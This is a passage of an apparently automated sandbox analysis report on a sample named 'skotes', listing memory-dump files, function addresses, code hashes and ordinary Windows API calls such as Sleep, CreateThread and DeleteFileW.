Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 25ac96b012cb63af2a455f52a2eb7ea7071dcfcbd89f7d123e2945814b4bed98
Instruction ID: 30106793b8bbeb73dbe43a021b333d37530c8e43b7f12054071dd1680edc58ef
Opcode Fuzzy Hash: 25ac96b012cb63af2a455f52a2eb7ea7071dcfcbd89f7d123e2945814b4bed98
Instruction Fuzzy Hash: 5DE086306DD600BBFA1076699C89F2A725997D9704F211526EB48CB0A1CD6C75818237

Function 00787590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,DEE27865,?,00000000,007C9138,000000FF), ref: 007875CC
CreateThread.KERNEL32(00000000,00000000,00787430,007E8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 007876BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007876C9

Part of subcall function 0079D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0079D17B

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 98ef8103f7b55661441cda8ac685c49ee451845ccabe2abacbb681bbef70123b
Instruction ID: f7cc2aff74f9d464df3034b6162a72226e44df4c062b906d641147c4e312da16
Opcode Fuzzy Hash: 98ef8103f7b55661441cda8ac685c49ee451845ccabe2abacbb681bbef70123b
Instruction Fuzzy Hash: 8A51F471241288DBEB58DF28DC89F8C3BA1EB48304F508619F8099B3D2DB7DD880CB56

Function 007B6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5896572edd0e41cb52f85f511e304c8ea6d2dfffdc21fddb52fc3ff6f5ab68
Instruction ID: 17a70c6c15a5587f8cf139ea2f677249a91637f5fe0ea141a9ef75807570f010
Opcode Fuzzy Hash: 6e5896572edd0e41cb52f85f511e304c8ea6d2dfffdc21fddb52fc3ff6f5ab68
Instruction Fuzzy Hash: 6D21D672904108AEEB217B68DC46FEF3769EF41378F200315FA242B1D1DB7C9E058661

Function 007BB655 Relevance: 3.0, APIs: 2, Instructions: 19fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(007B6A97,?,007B6A97,?,?,?,00000010), ref: 007BB65D
__dosmaperr.LIBCMT ref: 007BB66E

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: 9df3a16915c4e14569fa31f86ca13ed82a96c9b3a31a0aa74f0f9674b0c77edd
Instruction ID: 4c326927d5271471f3db9b6bd26afb8ec31bcab9241989136591456ceecbaf65
Opcode Fuzzy Hash: 9df3a16915c4e14569fa31f86ca13ed82a96c9b3a31a0aa74f0f9674b0c77edd
Instruction Fuzzy Hash: 2FD012320895087AAE2479B6AC0495737CD8F813B87241A15BD2CC52E1EE26DC518061

Function 00796D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00796D11
Sleep.KERNEL32(00007530), ref: 00796D25

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 5f065e0fc3d78789003a2ca766934e9c5eaaf2b53996ecc9c0bbe7661161c7dd
Instruction ID: 7be116cd78226e9201e96b9ae7a59e68ca753b9dc7ca4a71c0137344c27af6e2
Opcode Fuzzy Hash: 5f065e0fc3d78789003a2ca766934e9c5eaaf2b53996ecc9c0bbe7661161c7dd
Instruction Fuzzy Hash: 75D08C707C5314B6FA2003203C0BF66AA209B0AF81F24584073483F0D082E8300047EC

Function 00788380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00788524

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d375c1899523c08971a57ba280e2ead93960155205608dcced380bf23c3d906b
Instruction ID: 0a1f7a4a95310f954defeba7fc45dff0fcd575c1d8fad302826011fdd048fe62
Opcode Fuzzy Hash: d375c1899523c08971a57ba280e2ead93960155205608dcced380bf23c3d906b
Instruction Fuzzy Hash: 48511771D502489BDB24FB68CD49BDDB775EB45310F904298E818A72C2EF385E808B92

Function 007B7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,007B705B,?,?,00000000,00000000), ref: 007B7166

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
